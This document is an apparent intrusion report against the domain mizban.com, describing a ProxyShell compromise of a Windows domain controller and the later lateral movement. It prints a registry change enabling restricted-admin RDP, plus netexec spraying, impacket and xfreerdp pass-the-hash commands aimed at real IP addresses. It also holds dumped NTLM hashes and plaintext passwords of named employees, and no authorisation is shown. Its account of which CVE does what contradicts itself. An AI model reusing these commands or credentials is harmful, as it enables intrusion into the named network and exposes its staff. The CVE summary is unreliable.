

VULNERABILITY REPORT

SUBJECT:	https://mizban.com/	DATE:	09.05.2025
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PROXYSHELL_RCE EXPLOIT

URL	https://mizban.com/
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- **CVE-2021-34473**
- Pre-auth path confusion vulnerability to bypass access control
- Patched in **KB5001779**, released in April
- **CVE-2021-34523**
- Privilege elevation vulnerability in the Exchange PowerShell backend
- Patched in **KB5001779**, released in April
- **CVE-2021-31207**
- Post-auth remote code execution via arbitrary file write
- Patched in **KB5003435**, released in May

Exploitation Summary: Microsoft Exchange ProxyShell Vulnerability Chain

1. Pre-Scanning Phase

As part of the reconnaissance phase, a prescanner was utilized to identify and sort IP addresses vulnerable to CVE-2021-31207 at scale.

This vulnerability is part of the ProxyShell exploit chain targeting Microsoft Exchange Servers.

CVE-2021-31207 is a security feature bypass vulnerability that, when chained with other flaws, allows an attacker to bypass authentication and gain unauthorized access.

The ProxyShell attack combines:

CVE-2021-31207 – authentication bypass,

CVE-2021-34523 – privilege escalation via arbitrary user impersonation,

CVE-2021-34473 – remote code execution through arbitrary file write.

2. Exploitation Phase

Upon identifying your IP as potentially vulnerable, multiple exploit paths were tested. The most effective method was using a Ruby-based exploit from the Metasploit Framework:

[Exploit Reference: \(CLICK\)](#)

Exploit Summary:

This Metasploit module exploits a Microsoft Exchange vulnerability chain that allows an attacker to:

Bypass authentication (CVE-2021-31207),

Impersonate arbitrary users (CVE-2021-34523),

Write arbitrary files and achieve RCE (CVE-2021-34473).

Successful exploitation resulted in remote code execution (RCE) on the target Exchange server.

3. Post-Exploitation and Privilege Escalation

After achieving initial access, a Meterpreter session was established. Post-exploitation steps included:

Credential Extraction:

The kiwi module was loaded, which successfully dumped all available credentials, including:

Plaintext passwords

NTLM password hashes

Internal Network Discovery and Pivoting:

Using the autoroute module, additional internal subnets were discovered and routing was configured:

[+] Route added to subnet 185.83.210.0/255.255.255.240 from host's routing table.

This enabled lateral movement within the internal network environment.

Proof of credential extraction

[*] Retrieving all credentials may credentials -----				
Username	Domain	NTLM	SHA1	DFAPI
-----	-----	-----	-----	-----
Administrador	MIZBAN	2b576acbe6bcfda7294d6bd18041b8fe	e30dic18c56c027667d35734660751dc80203354	4e40cb6d2e890837604953b50e121fbc
Administrator	MIZBAN	47b4fdaf676757f99c6f9a813d680fdb	5742bf0a8889268f7446b9c9c7f6a01110drf644	9e58a060ca07f9a6bd9168318aac827b
SYSTEM	NT AUTHORITY	31d6cfe0d16ae931b73c59d7e0c089c0	da39a3ee5e6b4b0d3255bfe95601890afd80709	da39a3ee5e6b4b0d3255bfe95601890
WIN-VRVKFKURV7V2	MIZBAN	2eb184021d4e09d815a9787733e4d359	63b188d9368ce0b65ea5d08a5bdf3501f22ed291	63b188d9368ce0b65ea5d08a5bdf3501
WIN-VRVKFKURV7V2	MIZBAN	3ea1bb31fff653d52c6a5802f990033b5	57d1ffffd234b455497ab40c09896e55727e83bf0	57d1ffffd234b455497ab40c09896e557
WIN-VRVKFKURV7V2	MIZBAN	ba24d19980cdfe843c0a06da4e9db01	eca2ade2cd7b2f2c4fd5c10b5fbdcbcfce112c800	eca2ade2cd7b2f2c4fd5c10b5fbdcbcfce
admins	MIZBAN	49aef0770ccbbd4dd48db45929879016	b528ba369b6eff7b47272b78f38e45ebfc008501	0db1c11e5a420ffea7efab41950f90c
amir.m	MIZBAN	082c072f06037f7fa21c0f48f6b1ff6b	c37657d841fcd2f09546c29a0c395533a5cfd25	6441230548571cblf03db81f397455e
arasto.i	MIZBAN	48384b65dc3596ab420a6b92bec0c279	275376849a41eae8dbd2fba53e4d231d2ade0dfc6	31cd8a1a970483b64a8e894c20d42f06
havva.m	MIZBAN	3ef8c8607f5db760442fbb8f7ae457bb	e67ce9b0c88d671b95fabd3775eb6aaaa950fa53	4102d7131laf5d934a1c7a7f9945f8bl
info	MIZBAN	47b4fdaf676757f99c6f9a813d680fdb	5742bf0a8889268f7446b9c9c7f6a01110drf644	8c21cae1e4e77113debc210b5eebc3a0
mohsen.f	MIZBAN	cff95776a76ea23a0106d6653daa4cbc	819e410d8d259451079216a46daff9f6945d49a3	c3e2d28f1812a5f7b7b5e80ff411fae1
yassman.a	MIZBAN	513624b1ca06e6509872c04419e6619	fbb2fed5af6dcea65ec8fc26a84ff96c5e91139d	e697b108bc4412e2f38f75e665032f8f
wdigest credentials -----				
Username	Domain	Password		
-----	-----	-----		
(null)	(null)	(null)		
Administrador	MIZBAN	Password123!		
Administrator	MIZBAN	SoftKey@1898		
SYSTEM	NT AUTHORITY	(null)		
WIN-VRVKFKURV7V2	MIZBAN	42 2a f3 4e 6d 40 5a 7c 8b ed 18 a7 99 8f 3c 8f 01 d8 68 4a 47 7a 2c d2 11 62 50 fe 57 3e 0a ee 7a e7 13 f3 3b 32 5f 21 a0 2c 89 3b c4 2b ba 8a e5 9d b5 04 d0 d7 fc 4b a4 6e 58 e		
WIN-VRVKFKURV7V2	MIZBAN	eb 34 e3 7c 34 90 08 a2 d9 39 b7 49 5b be 53 fc 8d 01 7b d1 23 df 8f 22 9d 27 a0 fd c0 bc cf eb 3d 1c 42 7c 51 c0 43 d8 f9 0e 27 00 ff 46 f1 d6 41 15 39 e8 71 4c 90 91 b6 26 ef		
WIN-VRVKFKURV7V2	MIZBAN	1 ca 4a ce 61 45 54 e9 46 09 69 4b 60 c3 4c 5c f2 bd 95 ec 4d 93 da 8c b4 d1 87 11 f3 0c 24 a7 6d 57 79 b2 4d fb 3b 45 8c 12 70 9b 8d 56 22 ff ee a8 bf ce 94 40 3f a6 23 8e a6 10		
WIN-VRVKFKURV7V2	MIZBAN	ce 9d 54 ca e2 e2 4d 1c 9e eb 61 da 59 6d b6 1a b3 47 f3 c0 60 0a 56 cb 96 17 6e 1c 31 31 cb f8 50 9b 26 e7 20		
WIN-VRVKFKURV7V2	MIZBAN	e5 f7 9f 5d 66 58 c5 13 7d 84 61 ef f0 b1 04 16 ea 2f 18 58 98 5d 57 df ed 0e c3 al f1 c7 78 e2 4d ad 19 53 4d 11 77 85 be da 03 23 b5 c8 5e c4 99 ec f8 98 9a a8 56 2f 6c c3 8a e		
WIN-VRVKFKURV7V2	MIZBAN	i bc 8a a4 bc 50 00 f2 20 b3 46 77 32 88 3a b4 21 66 ca 77 63 56 66 14 b5 f4 2f 2d 9f 48 ca d4 08 d4 7b 49 b4 be bl 8f al ec de ff 8f 25 b2 98 5e 87 1c 55 54 ad bb 94 2f 70 f3		
WIN-VRVKFKURV7V2	MIZBAN	4 25 38 68 1e 7b 53 09 30 21 54 9f 2a c2 e0 18 4e 8d 3e 4a 03 8b f1 10 bc f2 cc ea 69 f6 94 b4 8e 74 63 44 bd 40 2a 17 4c 3e 54 30 3c 05 67 25 6d d2 b9 6c 40 83 4d d2 a5 74 7e b0		
WIN-VRVKFKURV7V2	MIZBAN	5a 7c fb 1b ab 6c fe 23 0e b2 75 19 58 92 41 c5 d5 19 bd 89 6d e6 65 4c 93 42 15 f5 27 18 fb 40 1e 52 a6 f7 45		
WIN-VRVKFKURV7V2	MIZBAN	71 c1 20 86 55 ea 65 3e b3 61 9a da fe b5 54 26 33 10 61 c8 49 fb 2a e8 9d 24 4f 80 99 d2 f0 0d 51 bl 96 14 9d 2f 6a 81 08 bf 48 97 f2 e7 e7 4f 4e dc 9a 95 2a 7d e8 9c 5e 48 27 8		
WIN-VRVKFKURV7V2	MIZBAN	07 86 f2 c8 e9 a2 ad 84 7c 44 b3 f5 87 f0 44 44 f6 f1 d7 89 24 57 18 79 ee 2e 99 c7 77 d5 ad cf 6d 18 af be 2f 6a d3 49 a7 5c 32 89 14 bb 15 ca 70 7b ae 12 2e 9e ab 85 cc 2b 76		
WIN-VRVKFKURV7V2	MIZBAN	3 ef cd f7 da da 02 61 b7 b2 f9 11 42 f1 b0 ef f8 d8 42 73 79 9a 7b 36 e3 2e 2a ee 4c dd c5 db 91 84 dc d0 d3 89 75 52 97 c4 e3 fa 8b 5a 73 b5 d4 b4 a6 30 c3 a0 00 6c a3 99 c0 f5		
WIN-VRVKFKURV7V2	MIZBAN	c6 ad 81 99 39 e9 c2 88 f0 d0 66 9f 68 95 eb fd dd 86 c9 c8 8f 56 08 32 9a 0e 49 36 46 3b d1 99 9f da 12 ef d4		
admins	MIZBAN	Amir4778		
amir.m	MIZBAN	SoftSwitch@Farshad1898		
arasto.i	MIZBAN	SoftKey@1898		
havva.m	MIZBAN	Eve@sh81896		
info	MIZBAN	SoftKey@1898		
mohsen.f	MIZBAN	qwe123QWE!8#		
yassman.a	MIZBAN	Candy7292bonbon		

ALSO I GATHERD MORE INFORMATION ABOUT MACHINE:

```
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                WIN-VRVKFKURV7V
OS Name:                  Microsoft Windows Server 2019 Datacenter Evaluation
OS Version:               10.0.17763 N/A Build 17763
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:         Windows User
Registered Organization:
Product ID:                00431-20000-00000-AA684
Original Install Date:     7/14/2024, 1:12:55 AM
System Boot Time:          12/1/2024, 2:23:10 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware20,1
System Type:               x64-based PC
Processor(s):               1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2095 Mhz
BIOS Version:              VMware, Inc. VMW201.00V.21805430.B64.2305221830, 5/22/2023
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume2
System Locale:              en-us;English (United States)
Input Locale:               en-us;English (United States)
Time Zone:                 (UTC+03:30) Tehran
Total Physical Memory:      51,199 MB
Available Physical Memory:  29,065 MB
Virtual Memory: Max Size:   58,623 MB
Virtual Memory: Available:  29,086 MB
Virtual Memory: In Use:     29,537 MB
Page File Location(s):      C:\pagefile.sys
Domain:                     mizban.com
Logon Server:               N/A
Hotfix(s):                  5 Hotfix(s) Installed.
                           [01]: KB5041913
                           [02]: KB5041578
                           [03]: KB5020374
                           [04]: KB5040563
                           [05]: KB5041577
Network Card(s):            1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                               Connection Name: Ethernet0
                               DHCP Enabled:    No
                               IP address(es)
                               [01]: 185.83.210.5
                               [02]: fe80::f517:e05a:fe0c:f605
Hyper-V Requirements:       A hypervisor has been detected. Features required for Hyper-V will not be displayed.
```

These administrator hashes the most important:

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
=====
```

Username	Domain	NTLM	SHA1
DPAPI			
-----	-----	----	----

Administrador	MIZBAN	2b576acbe6bcfda7294d6bd18041b8fe	
e30d1c18c56c027667d35734660751dc80203354		4e40cb6d2e890837604953b50e121fbc	
Administrator	MIZBAN	47b4fdaf676757f99c6f9a813d680fdb	
5742bf0a8889268f7446b9c9c7f6a01110df4644		9e58a060ca07f9a6bd9168318aac827b	
SYSTEM	NT AUTHORITY	31d6cfe0d16ae931b73c59d7e0c089c0	
da39a3ee5e6b4b0d3255bfe95601890af		d80709 da39a3ee5e6b4b0d3255bfe95601890	
WIN-VRVKFKURV7V\$	MIZBAN	2eb184021d4e09d815a9787733e4d359	
63b188d9368ce0b65ea5d08a5bdf3501f22ed291		63b188d9368ce0b65ea5d08a5bdf3501	
WIN-VRVKFKURV7V\$	MIZBAN	36a1bb31ff653d52c6a5802f990033b5	
57d1fffd234b455497ab60c09896e55727e83bf0		57d1fffd234b455497ab60c09896e557	
WIN-VRVKFKURV7V\$	MIZBAN	ba24d19980cdf843c0a06da46e9db01	
eca2ade2cd7b2fc4fd5c10b5fb1dbcf		ae112c800 eca2ade2cd7b2fc4fd5c10b5fb1dbcf	
admins	MIZBAN	49baf0770cccb2dad8d5bef529d79016	
b528ba369369f57b4727fb78f38ef5ebfe208581		06b1c11e5a620ffea7efabe6195bf9ce	
amir.m	MIZBAN	082c2720f06037ffa21c0fd9ffb1ff6b	
c37657dd41fe2dfc956f629a0c3995334a5cfd25		6441250548571cb1f03db81f397455ee	
arasto.i	MIZBAN	48384b65dc3596ab420a6b92becc6279	
275376849a41eaedb2fba53e4d231d2ade0dfc6		31cdae1a970483b64a8e894c20d42f06	
elnaz.a	MIZBAN	bbd92879bd95a2a55326085ead427641	
d1f3f4163206af7d078171a113ab0a3e565a67b0		19c2bdb074651dd801782d7aabc41ab6	
havva.m	MIZBAN	3ef8c8607f5db760642fbb8f7ae457bb	
e67ce9b069d671b95fabd3775eb6baaaa990fa53		4102d71311af5d934a1c7a7f9945f8b1	
info	MIZBAN	47b4fdaf676757f99c6f9a813d680fdb	
5742bf0a8889268f7446b9c9c7f6a01110df4644		8c21ca1ea4a77113debc210b5eebc3a0	
mohsen.f	MIZBAN	cff95776a76ea23a8106d6653daa4cbc	
819a410d8d259451079216a46daff9f6945d49a3		c3e2d28f1812a5f7b7b5e80ff411fae1	

```
wdigest credentials
```

```
=====
```

```
Username Domain Password
```

```
-----
```

```
(null) (null) (null)
```

```
Administrador MIZBAN Password123!
```

```
Administrator MIZBAN SoftKey@1898
```

```
e1
```

```
admins MIZBAN TeamR00t!
```

```
amir.m MIZBAN Amir1477@
```

```
arasto.i MIZBAN SoftSwitch@Farshad1898
```

```
elnaz.a MIZBAN Eli050312@m
```

```
havva.m MIZBAN Eve@sh@1996
```

```
info MIZBAN SoftKey@1898
```

```
mohsen.f MIZBAN qwe123QWE!@#
```

```
kerberos credentials
```

```
=====
```

4. Remote Desktop and Pivoting Access

After gaining initial Meterpreter access via a reverse TCP shell, persistence and lateral network access were established:

RDP Access Enablement:

A Windows registry key was modified to allow restricted RDP sessions:

```
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v  
DisableRestrictedAdmin /d 0x0 /f
```

This enabled credential-less RDP access from an authenticated session.

Proxy Pivot Setup:

Using a SOCKS proxy (via Metasploit or SSH tunneling), traffic from the attacker's Kali Linux machine was routed into the compromised internal network. This allowed external tools to operate as if they were on the local subnet.

5. Credential Spraying and SMB Exploitation

Credential Collection:

Extracted credentials were sorted into two files:

logins.txt – plain-text usernames and passwords

hashes.txt – NTLM hashes

NetExec Utilization:

The NetExec tool (formerly CrackMapExec) was used to spray these credentials against available network services (e.g., SMB, RDP).

Successful SMB Authentications:

```
SMB      185.83.210.5    445    WIN-VRVKFKURV7V    [+]  
mizban.com\Administrador:2b576acbe6bcfda7294d6bd18041b8fe (Pwn3d!)  
SMB      185.83.210.5    445    WIN-VRVKFKURV7V    [+]  
mizban.com\Administrator:47b4fdaf676757f99c6f9a813d680fdb (Pwn3d!)  
SMB      185.83.210.3    445    WIN-K9SPMK2PLUV    [+] WIN-  
K9SPMK2PLUV\Administrator:47b4fdaf676757f99c6f9a813d680fdb (Pwn3d!)  
SMB      185.83.210.6    445    WIN-K9SPMK2PLUV    [+] WIN-  
K9SPMK2PLUV\Administrator:47b4fdaf676757f99c6f9a813d680fdb (Pwn3d!)  
SMB      185.83.210.7    445    WIN-K9SPMK2PLUV    [+] WIN-  
K9SPMK2PLUV\Administrator:47b4fdaf676757f99c6f9a813d680fdb (Pwn3d!)
```

The example of spraying rdp:

```
(kali@kali)-[~]  
$ proxychains -q netexec rdp 185.83.210.0/255.255.255.240 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe  
RDP      185.83.210.5    3389    WIN-VRVKFKURV7V    [*] Windows 10 or Windows Server 2016 Build 17763 (name:WIN-VRVKFKURV7V) (domain:mizban.com) (nla:True)  
RDP      185.83.210.6    3389    WIN-K9SPMK2PLUV    [*] Windows 10 or Windows Server 2016 Build 20348 (name:WIN-K9SPMK2PLUV) (domain:WIN-K9SPMK2PLUV) (nla:True)  
RDP      185.83.210.3    3389    WIN-K9SPMK2PLUV    [*] Windows 10 or Windows Server 2016 Build 20348 (name:WIN-K9SPMK2PLUV) (domain:WIN-K9SPMK2PLUV) (nla:True)  
RDP      185.83.210.7    3389    WIN-K9SPMK2PLUV    [*] Windows 10 or Windows Server 2016 Build 20348 (name:WIN-K9SPMK2PLUV) (domain:WIN-K9SPMK2PLUV) (nla:True)  
RDP      185.83.210.5    3389    WIN-VRVKFKURV7V    [-] mizban.com\Administrador:2b576acbe6bcfda7294d6bd18041b8fe  
RDP      185.83.210.6    3389    WIN-K9SPMK2PLUV    [-] WIN-K9SPMK2PLUV\Administrador:2b576acbe6bcfda7294d6bd18041b8fe (STATUS_LOGON_FAILURE)  
RDP      185.83.210.3    3389    WIN-K9SPMK2PLUV    [-] WIN-K9SPMK2PLUV\Administrador:2b576acbe6bcfda7294d6bd18041b8fe (STATUS_LOGON_FAILURE)  
RDP      185.83.210.7    3389    WIN-K9SPMK2PLUV    [-] WIN-K9SPMK2PLUV\Administrador:2b576acbe6bcfda7294d6bd18041b8fe (STATUS_LOGON_FAILURE)  
Running nxc against 16 targets 100% 0:00:00  
(kali@kali)-[~]  
$ proxychains -q netexec rdp 185.83.210.0/255.255.255.240 -u Administrator -H 2b576acbe6bcfda7294d6bd18041b8fe
```

Manual Access to SMB Shares:

To verify access and explore the file systems, the following command was used via a proxy:

```
proxychains4 -q impacket-smbclient -hashes  
:2b576acbe6bcfda7294d6bd18041b8fe 'Administrador'@'185.83.210.5'
```


6. Remote Desktop Protocol (RDP) Access


After successful SMB enumeration and credential harvesting, several valid RDP credentials were tested. Connections were routed through a proxy using proxychains4 to maintain access through the pivot point inside the internal network.

RDP Sessions Established:

RDP access was successfully obtained on internal and external-facing systems using Pass-the-Hash (PtH) technique with xfreerdp:

```
proxychains4 xfreerdp /v:10.0.10.3 /d:hh.local /u:f_control  
/pth:909bb7bb57beb61a7161c0247d902f85  
proxychains4 xfreerdp /v:185.83.210.5 /d:MIZBAN /u:Administrador  
/pth:2b576acbe6bcfda7294d6bd18041b8fe
```





Additional Valid RDP Credentials Identified:

The following credentials provided verified RDP access (confirmed using NetExec and manual session validation):

IP	Username	NTLM Hash	Domain	Hostname
185.83.210.5	mizban.com\mohsen.f	cff95776a76ea23a8106d6653daa4cbc	mizban.com	WIN-VRVKFKURV7V
185.83.210.5	mizban.com\info	47b4fdaf676757f99c6f9a813d680fdb	mizban.com	WIN-VRVKFKURV7V
185.83.210.5	mizban.com\havva.m	3ef8c8607f5db760642fbb8f7ae457bb	mizban.com	WIN-VRVKFKURV7V
185.83.210.5	mizban.com\elnaz.a	bbd92879bd95a2a55326085ead427641	mizban.com	WIN-VRVKFKURV7V

These credentials enabled interactive desktop access to multiple hosts, which could be used for further enumeration, persistence, or data exfiltration.